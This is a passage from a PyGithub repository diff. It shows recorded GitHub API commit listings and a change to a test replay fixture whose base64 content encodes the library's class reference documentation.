acquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"9e6b086c2db5e4884484a04934f6f2e53e3f441b","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b","html_url":"https://github.com/jacquev6/PyGithub/commit/9e6b086c2db5e4884484a04934f6f2e53e3f441b"}]},{"sha":"9e6b086c2db5e4884484a04934f6f2e53e3f441b","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:35:50Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:35:50Z"},"message":"Remove a deprecation warning","tree":{"sha":"a8205550281bec9fde58bb7014df2a04c27b765b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/a8205550281bec9fde58bb7014df2a04c27b765b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b","html_url":"https://github.com/jacquev6/PyGithub/commit/9e6b086c2db5e4884484a04934f6f2e53e3f441b","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9e6b086c2db5e4884484a04934f6f2e53e3f441b/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0ddb34d987b5a03813fdfa2fac13c933834a4804","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804","html_url":"https://github.com/jacquev6/PyGithub/commit/0ddb34d987b5a03813fdfa2fac13c933834a4804"}]},{"sha":"0ddb34d987b5a03813fdfa2fac13c933834a4804","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:32:10Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-03T17:32:10Z"},"message":"Fix decoding on Python3 (bytes instead of str) (Issue #142)","tree":{"sha":"e00c7a4c3cbadbe2c00c8bc14425b3dcc410f629","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e00c7a4c3cbadbe2c00c8bc14425b3dcc410f629"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804","html_url":"https://github.com/jacquev6/PyGithub/commit/0ddb34d987b5a03813fdfa2fac13c933834a4804","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0ddb34d987b5a03813fdfa2fac13c933834a4804/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"67bdf8c0be32dc195a4545bf90100a1b55eebf45","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/67bdf8c0be32dc195a4545bf90100a1b55eebf45","html_url":"https://github.com/jacquev6/PyGithub/commit/67bdf8c0be32dc195a4545bf90100a1b55eebf45"}]}] - diff --git a/tests/ReplayData/Repository.testGetContents.txt b/tests/ReplayData/Repository.testGetContents.txt index 61afbc5494..94b715a31b 100644 --- a/tests/ReplayData/Repository.testGetContents.txt +++ b/tests/ReplayData/Repository.testGetContents.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '39214'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/contents/doc/ReferenceOfClasses.md","git":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/b82d109eca7f58b32e6b3be6694578fa5451766b","html":"https://github.com/jacquev6/PyGithub/blob/master/doc/ReferenceOfClasses.md"},"type":"file","sha":"b82d109eca7f58b32e6b3be6694578fa5451766b","path":"doc/ReferenceOfClasses.md","encoding":"base64","size":28122,"name":"ReferenceOfClasses.md","content":"WW91IGRvbid0IG5vcm1hbHkgY3JlYXRlIGluc3RhbmNlcyBvZiBhbnkgY2xh\nc3MgYnV0IGBHaXRodWJgLgpZb3Ugb2J0YWluIGluc3RhbmNlcyB0aHJvdWdo\nIGNhbGxzIHRvIGBzZWFyY2hfYCwgYGdldF9gIGFuZCBgY3JlYXRlX2AgbWV0\naG9kcy4KCk1ldGhvZHMgcmV0dXJuaW5nIGFuICJpdGVyYXRvciBvZiBgU29t\nZVR5cGVgIiByZXR1cm4gYW4gaXRlcmF0b3Igd2hpY2ggeWllbGRzIGluc3Rh\nbmNlcyBvZiBgU29tZVR5cGVgLgpUaGlzIGltcGxlbWVudHMgbGF6eSBbcGFn\naW5hdGlvbiByZXF1ZXN0c10oaHR0cDovL2RldmVsb3Blci5naXRodWIuY29t\nL3YzLyNwYWdpbmF0aW9uKS4KWW91IGNhbiB1c2UgdGhpcyBpdGVyYXRvciBp\nbiBhIGBmb3IgZiBpbiB1c2VyLmdldF9mb2xsb3dlcnMoKTpgIGxvb3Agb3Ig\nd2l0aCBhbnkgW2l0ZXJ0b29sc10oaHR0cDovL2RvY3MucHl0aG9uLm9yZy9s\naWJyYXJ5L2l0ZXJ0b29scy5odG1sKSBmdW5jdGlvbnMsCmJ1dCB5b3UgY2Fu\nbm90IGtub3cgdGhlIG51bWJlciBvZiBvYmplY3RzIHJldHVybmVkIGJlZm9y\nZSB0aGUgZW5kIG9mIHRoZSBpdGVyYXRpb24uCklmIHRoYXQncyByZWFsbHkg\nd2hhdCB5b3UgbmVlZCwgeW91IGNhbnQgdXNlIGBsZW4oIGxpc3QoIHVzZXIu\nZ2V0X2ZvbGxvd2VycygpICkgKWAsIHdoaWNoIGRvZXMgYWxsIHRoZSByZXF1\nZXN0cyBuZWVkZWQgdG8gZW51bWVyYXRlIHRoZSB1c2VyJ3MgZm9sbG93ZXJz\nLgpOb3RlIHRoYXQgdGhlcmUgaXMgb2Z0ZW4gYW4gYXR0cmlidXRlIGdpdmlu\nZyB0aGlzIHZhbHVlIChpbiB0aGF0IGNhc2UgYHVzZXIuZm9sbG93ZXJzYCku\nCgpDbGFzcyBgR2l0aHViYAo9PT09PT09PT09PT09PQoKQ29uc3RydWN0ZWQg\nZnJvbSB1c2VyJ3MgbG9naW4gYW5kIHBhc3N3b3JkIG9yIE9BdXRoIHRva2Vu\nIG9yIG5vdGhpbmc6CgogICAgZyA9IEdpdGh1YiggbG9naW4sIHBhc3N3b3Jk\nICkKICAgIGcgPSBHaXRodWIoIHRva2VuICkKICAgIGcgPSBHaXRodWIoKQoK\nWW91IGNhbiBhZGQgYW4gYXJndW1lbnQgYGJhc2VfdXJsID0gImh0dHA6Ly9t\neS5lbnRlcnByaXNlLmNvbTo4MDgwL3BhdGgvdG8vZ2l0aHViImAgdG8gY29u\nbmVjdCB0byBhIGxvY2FsIGluc3RhbGwgb2YgR2l0aHViIChpZS4gR2l0aHVi\nIEVudGVycHJpc2UpLgpBbm90aGVyIGFyZ3VtZW50LCB0aGF0IGNhbiBiZSBw\nYXNzZWQgaXMgYHRpbWVvdXRgIHdoaWNoIGhhcyBkZWZhdWx0IHZhbHVlIGAx\nMGAuCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgcmF0ZV9saW1pdGluZ2A6\nIHR1cGxlIG9mIHR3byBpbnRlZ2VyczogcmVtYWluaW5nIGFuZCBsaW1pdCwg\nYXMgZXhwbGFpbmVkIGluIFtSYXRlIExpbWl0aW5nXShodHRwOi8vZGV2ZWxv\ncGVyLmdpdGh1Yi5jb20vdjMvI3JhdGUtbGltaXRpbmcpCgpNZXRob2RzCi0t\nLS0tLS0KKiBgZ2V0X3VzZXIoKWA6IGBBdXRoZW50aWNhdGVkVXNlcmAKKiBg\nZ2V0X3VzZXIoIGxvZ2luIClgOiBgTmFtZWRVc2VyYAoqIGBnZXRfb3JnYW5p\nemF0aW9uKCBsb2dpbiApYDogYE9yZ2FuaXphdGlvbmAKKiBgZ2V0X2dpc3Qo\nIGlkIClgOiBgR2lzdGAKICAgICogYGlkYDogc3RyaW5nCiogYGdldF9naXN0\ncygpYDogaXRlcmF0b3Igb2YgYEdpc3RgCiogYHNlYXJjaF9yZXBvcygga2V5\nd29yZCApYDogaXRlcmF0b3Igb2YgYFJlcG9zaXRvcnlgCiogYGxlZ2FjeV9z\nZWFyY2hfcmVwb3MoIGtleXdvcmQsIFtsYW5ndWFnZV0gKWA6IGl0ZXJhdG9y\nIG9mIGBSZXBvc2l0b3J5YAogICAgKiBga2V5d29yZGA6IHN0cmluZwogICAg\nKiBgbGFuZ3VhZ2VgOiBzdHJpbmcKKiBgbGVnYWN5X3NlYXJjaF91c2Vycygg\na2V5d29yZCApYDogaXRlcmF0b3Igb2YgYE5hbWVkVXNlcmAKICAgICogYGtl\neXdvcmRgOiBzdHJpbmcKKiBgbGVnYWN5X3NlYXJjaF91c2VyX2J5X2VtYWls\nKCBlbWFpbCApYDogYE5hbWVkVXNlcmAKICAgICogYGVtYWlsYDogc3RyaW5n\nCiogYHJlbmRlcl9tYXJrZG93biggdGV4dCwgW2NvbnRleHRdIClgOiBzdHJp\nbmcKICAgICogYHRleHRgOiBzdHJpbmcKICAgICogYGNvbnRleHRgOiBgUmVw\nb3NpdG9yeWAKCkNsYXNzIGBHaXRodWJFeGNlcHRpb25gCj09PT09PT09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgc3RhdHVz\nYDogaW50ZWdlcgoqIGBkYXRhYDogZGljdAoKQ2xhc3MgYEF1dGhlbnRpY2F0\nZWRVc2VyYAo9PT09PT09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVz\nCi0tLS0tLS0tLS0KKiBgYXZhdGFyX3VybGA6IHN0cmluZwoqIGBiaW9gOiBz\ndHJpbmcKKiBgYmxvZ2A6IHN0cmluZwoqIGBjb2xsYWJvcmF0b3JzYDogaW50\nZWdlcgoqIGBjb21wYW55YDogc3RyaW5nCiogYGNyZWF0ZWRfYXRgOiBkYXRl\ndGltZS5kYXRldGltZQoqIGBkaXNrX3VzYWdlYDogaW50ZWdlcgoqIGBlbWFp\nbGA6IHN0cmluZwoqIGBmb2xsb3dlcnNgOiBpbnRlZ2VyCiogYGZvbGxvd2lu\nZ2A6IGludGVnZXIKKiBgZ3JhdmF0YXJfaWRgOiBzdHJpbmcKKiBgaGlyZWFi\nbGVgOiBib29sCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdl\ncgoqIGBsb2NhdGlvbmA6IHN0cmluZwoqIGBsb2dpbmA6IHN0cmluZwoqIGBu\nYW1lYDogc3RyaW5nCiogYG93bmVkX3ByaXZhdGVfcmVwb3NgOiBpbnRlZ2Vy\nCiogYHBsYW5gOiBgUGxhbmAKKiBgcHJpdmF0ZV9naXN0c2A6IGludGVnZXIK\nKiBgcHVibGljX2dpc3RzYDogaW50ZWdlcgoqIGBwdWJsaWNfcmVwb3NgOiBp\nbnRlZ2VyCiogYHRvdGFsX3ByaXZhdGVfcmVwb3NgOiBpbnRlZ2VyCiogYHR5\ncGVgOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCgpBdXRob3JpemF0aW9ucwot\nLS0tLS0tLS0tLS0tLQoqIGBjcmVhdGVfYXV0aG9yaXphdGlvbiggW3Njb3Bl\ncywgbm90ZSwgbm90ZV91cmxdIClgOiBgQXV0aG9yaXphdGlvbmAKICAgICog\nYHNjb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGBub3RlYDogc3RyaW5n\nCiAgICAqIGBub3RlX3VybGA6IHN0cmluZwoqIGBnZXRfYXV0aG9yaXphdGlv\nbiggaWQgKWA6IGBBdXRob3JpemF0aW9uYAogICAgKiBgaWRgOiBpbnRlZ2Vy\nCiogYGdldF9hdXRob3JpemF0aW9ucygpYDogaXRlcmF0b3Igb2YgYEF1dGhv\ncml6YXRpb25gCgpFbWFpbHMKLS0tLS0tCiogYGFkZF90b19lbWFpbHMoIGVt\nYWlsLCAuLi4gKWAKICAgICogYGVtYWlsYDogc3RyaW5nCiogYGdldF9lbWFp\nbHMoKWA6IGxpc3Qgb2Ygc3RyaW5nCiogYHJlbW92ZV9mcm9tX2VtYWlscygg\nZW1haWwsIC4uLiApYAogICAgKiBgZW1haWxgOiBzdHJpbmcKCkV2ZW50cwot\nLS0tLS0KKiBgZ2V0X2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYEV2ZW50YAoq\nIGBnZXRfb3JnYW5pemF0aW9uX2V2ZW50cyggb3JnIClgOiBpdGVyYXRvciBv\nZiBgRXZlbnRgCiAgICAqIGBvcmdgOiBgT3JnYW5pemF0aW9uYAoKRm9sbG93\nZXJzCi0tLS0tLS0tLQoqIGBnZXRfZm9sbG93ZXJzKClgOiBpdGVyYXRvciBv\nZiBgTmFtZWRVc2VyYAoKRm9sbG93aW5nCi0tLS0tLS0tLQoqIGBhZGRfdG9f\nZm9sbG93aW5nKCBmb2xsb3dpbmcgKWAKICAgICogYGZvbGxvd2luZ2A6IGBO\nYW1lZFVzZXJgCiogYGdldF9mb2xsb3dpbmcoKWA6IGl0ZXJhdG9yIG9mIGBO\nYW1lZFVzZXJgCiogYGhhc19pbl9mb2xsb3dpbmcoIGZvbGxvd2luZyApYDog\nYm9vbAogICAgKiBgZm9sbG93aW5nYDogYE5hbWVkVXNlcmAKKiBgcmVtb3Zl\nX2Zyb21fZm9sbG93aW5nKCBmb2xsb3dpbmcgKWAKICAgICogYGZvbGxvd2lu\nZ2A6IGBOYW1lZFVzZXJgCgpGb3JraW5nCi0tLS0tLS0KKiBgY3JlYXRlX2Zv\ncmsoIHJlcG8gKWA6IGBSZXBvc2l0b3J5YAogICAgKiBgcmVwb2A6IGBSZXBv\nc2l0b3J5YAoKR2lzdHMKLS0tLS0KKiBgY3JlYXRlX2dpc3QoIHB1YmxpYywg\nZmlsZXMsIFtkZXNjcmlwdGlvbl0gKWA6IGBHaXN0YAogICAgKiBgcHVibGlj\nYDogYm9vbAogICAgKiBgZmlsZXNgOiBkaWN0IG9mIHN0cmluZyB0byBgSW5w\ndXRGaWxlQ29udGVudGAKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiog\nYGdldF9naXN0cygpYDogaXRlcmF0b3Igb2YgYEdpc3RgCiogYGdldF9zdGFy\ncmVkX2dpc3RzKClgOiBpdGVyYXRvciBvZiBgR2lzdGAKCklzc3VlcwotLS0t\nLS0KKiBgZ2V0X2lzc3VlcygpYDogaXRlcmF0b3Igb2YgYElzc3VlYAoKS2V5\ncwotLS0tCiogYGNyZWF0ZV9rZXkoIHRpdGxlLCBrZXkgKWA6IGBVc2VyS2V5\nYAogICAgKiBgdGl0bGVgOiBzdHJpbmcKICAgICogYGtleWA6IHN0cmluZwoq\nIGBnZXRfa2V5KCBpZCApYDogYFVzZXJLZXlgCiAgICAqIGBpZGA6IGludGVn\nZXIKKiBgZ2V0X2tleXMoKWA6IGl0ZXJhdG9yIG9mIGBVc2VyS2V5YAoKTW9k\naWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbbmFtZSwgZW1haWws\nIGJsb2csIGNvbXBhbnksIGxvY2F0aW9uLCBoaXJlYWJsZSwgYmlvXSApYAog\nICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgZW1haWxgOiBzdHJpbmcKICAg\nICogYGJsb2dgOiBzdHJpbmcKICAgICogYGNvbXBhbnlgOiBzdHJpbmcKICAg\nICogYGxvY2F0aW9uYDogc3RyaW5nCiAgICAqIGBoaXJlYWJsZWA6IGJvb2wK\nICAgICogYGJpb2A6IHN0cmluZwoKT3JncwotLS0tCiogYGdldF9vcmdzKClg\nOiBpdGVyYXRvciBvZiBgT3JnYW5pemF0aW9uYAoKUmVwb3MKLS0tLS0KKiBg\nY3JlYXRlX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHBy\naXZhdGUsIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzXSAp\nYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAgICAqIGBk\nZXNjcmlwdGlvbmA6IHN0cmluZwogICAgKiBgaG9tZXBhZ2VgOiBzdHJpbmcK\nICAgICogYHByaXZhdGVgOiBib29sCiAgICAqIGBoYXNfaXNzdWVzYDogYm9v\nbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAgICAqIGBoYXNfZG93bmxvYWRz\nYDogYm9vbAoqIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAg\nICAqIGBuYW1lYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGUsIHNvcnQs\nIGRpcmVjdGlvbl0gKWA6IGl0ZXJhdG9yIG9mIGBSZXBvc2l0b3J5YAogICAg\nKiBgdHlwZWA6IHN0cmluZwogICAgKiBgc29ydGA6IHN0cmluZwogICAgKiBg\nZGlyZWN0aW9uYDogc3RyaW5nCgpXYXRjaGVkCi0tLS0tLS0KKiBgYWRkX3Rv\nX3dhdGNoZWQoIHdhdGNoZWQgKWAKICAgICogYHdhdGNoZWRgOiBgUmVwb3Np\ndG9yeWAKKiBgZ2V0X3dhdGNoZWQoKWA6IGl0ZXJhdG9yIG9mIGBSZXBvc2l0\nb3J5YAoqIGBoYXNfaW5fd2F0Y2hlZCggd2F0Y2hlZCApYDogYm9vbAogICAg\nKiBgd2F0Y2hlZGA6IGBSZXBvc2l0b3J5YAoqIGByZW1vdmVfZnJvbV93YXRj\naGVkKCB3YXRjaGVkIClgCiAgICAqIGB3YXRjaGVkYDogYFJlcG9zaXRvcnlg\nCgpDbGFzcyBgQXV0aG9yaXphdGlvbmAKPT09PT09PT09PT09PT09PT09PT09\nCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYXBwYDogYEF1dGhvcml6YXRp\nb25BcHBsaWNhdGlvbmAKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYGlkYDogaW50ZWdlcgoqIGBub3RlYDogc3RyaW5nCiogYG5vdGVf\ndXJsYDogc3RyaW5nCiogYHNjb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiogYHRv\na2VuYDogc3RyaW5nCiogYHVwZGF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGlt\nZQoqIGB1cmxgOiBzdHJpbmcKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0\nZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbc2Nv\ncGVzLCBhZGRfc2NvcGVzLCByZW1vdmVfc2NvcGVzLCBub3RlLCBub3RlX3Vy\nbF0gKWAKICAgICogYHNjb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGBh\nZGRfc2NvcGVzYDogbGlzdCBvZiBzdHJpbmcKICAgICogYHJlbW92ZV9zY29w\nZXNgOiBsaXN0IG9mIHN0cmluZwogICAgKiBgbm90ZWA6IHN0cmluZwogICAg\nKiBgbm90ZV91cmxgOiBzdHJpbmcKCkNsYXNzIGBBdXRob3JpemF0aW9uQXBw\nbGljYXRpb25gCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpB\ndHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgbmFtZWA6IHN0cmluZwoqIGB1cmxg\nOiBzdHJpbmcKCkNsYXNzIGBCcmFuY2hgCj09PT09PT09PT09PT09CgpBdHRy\naWJ1dGVzCi0tLS0tLS0tLS0KKiBgY29tbWl0YDogYENvbW1pdGAKKiBgbmFt\nZWA6IHN0cmluZwoKQ2xhc3MgYENvbW1pdGAKPT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhdXRob3JgOiBgTmFtZWRVc2VyYAoq\nIGBjb21taXRgOiBgR2l0Q29tbWl0YAoqIGBjb21taXR0ZXJgOiBgTmFtZWRV\nc2VyYAoqIGBmaWxlc2A6IGxpc3Qgb2YgYEZpbGVgCiogYHBhcmVudHNgOiBs\naXN0IG9mIGBDb21taXRgCiogYHNoYWA6IHN0cmluZwoqIGBzdGF0c2A6IGBD\nb21taXRTdGF0c2AKKiBgdXJsYDogc3RyaW5nCgpDb21tZW50cwotLS0tLS0t\nLQoqIGBjcmVhdGVfY29tbWVudCggYm9keSwgW2xpbmUsIHBhdGgsIHBvc2l0\naW9uXSApYDogYENvbW1pdENvbW1lbnRgCiAgICAqIGBib2R5YDogc3RyaW5n\nCiAgICAqIGBsaW5lYDogaW50ZWdlcgogICAgKiBgcGF0aGA6IHN0cmluZwog\nICAgKiBgcG9zaXRpb25gOiBpbnRlZ2VyCiogYGdldF9jb21tZW50cygpYDog\naXRlcmF0b3Igb2YgYENvbW1pdENvbW1lbnRgCgpDbGFzcyBgQ29tbWl0Q29t\nbWVudGAKPT09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0t\nLS0tLS0KKiBgYm9keWA6IHN0cmluZwoqIGBjb21taXRfaWRgOiBzdHJpbmcK\nKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGh0bWxfdXJs\nYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBsaW5lYDogaW50ZWdlcgoq\nIGBwYXRoYDogc3RyaW5nCiogYHBvc2l0aW9uYDogaW50ZWdlcgoqIGB1cGRh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiog\nYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVs\nZXRlKClgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJv\nZHkgKWAKICAgICogYGJvZHlgOiBzdHJpbmcKCkNsYXNzIGBDb21taXRTdGF0\nc2AKPT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0t\nCiogYGFkZGl0aW9uc2A6IGludGVnZXIKKiBgZGVsZXRpb25zYDogaW50ZWdl\ncgoqIGB0b3RhbGA6IGludGVnZXIKCkNsYXNzIGBDb21wYXJpc29uYAo9PT09\nPT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhaGVh\nZF9ieWA6IGludGVnZXIKKiBgYmFzZV9jb21taXRgOiBgQ29tbWl0YAoqIGBi\nZWhpbmRfYnlgOiBpbnRlZ2VyCiogYGNvbW1pdHNgOiBsaXN0IG9mIGBDb21t\naXRgCiogYGRpZmZfdXJsYDogc3RyaW5nCiogYGZpbGVzYDogbGlzdCBvZiBg\nRmlsZWAKKiBgaHRtbF91cmxgOiBzdHJpbmcKKiBgcGF0Y2hfdXJsYDogc3Ry\naW5nCiogYHBlcm1hbGlua191cmxgOiBzdHJpbmcKKiBgc3RhdHVzYDogc3Ry\naW5nCiogYHRvdGFsX2NvbW1pdHNgOiBpbnRlZ2VyCiogYHVybGA6IHN0cmlu\nZwoKQ2xhc3MgYERvd25sb2FkYAo9PT09PT09PT09PT09PT09CgpBdHRyaWJ1\ndGVzCi0tLS0tLS0tLS0KKiBgYWNjZXNza2V5aWRgOiBzdHJpbmcKKiBgYWNs\nYDogc3RyaW5nCiogYGJ1Y2tldGA6IHN0cmluZwoqIGBjb250ZW50X3R5cGVg\nOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGRlc2NyaXB0aW9uYDogc3RyaW5nCiogYGRvd25sb2FkX2NvdW50YDogaW50\nZWdlcgoqIGBleHBpcmF0aW9uZGF0ZWA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBtaW1lX3R5\ncGVgOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoqIGBwYXRoYDogc3RyaW5n\nCiogYHBvbGljeWA6IHN0cmluZwoqIGBwcmVmaXhgOiBzdHJpbmcKKiBgcmVk\naXJlY3RgOiBib29sCiogYHMzX3VybGA6IHN0cmluZwoqIGBzaWduYXR1cmVg\nOiBzdHJpbmcKKiBgc2l6ZWA6IGludGVnZXIKKiBgdXJsYDogc3RyaW5nCgpE\nZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCkNsYXNzIGBFdmVudGAK\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFjdG9y\nYDogYE5hbWVkVXNlcmAKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYGlkYDogc3RyaW5nCiogYG9yZ2A6IGBPcmdhbml6YXRpb25gCiog\nYHBheWxvYWRgOiBkaWN0CiogYHB1YmxpY2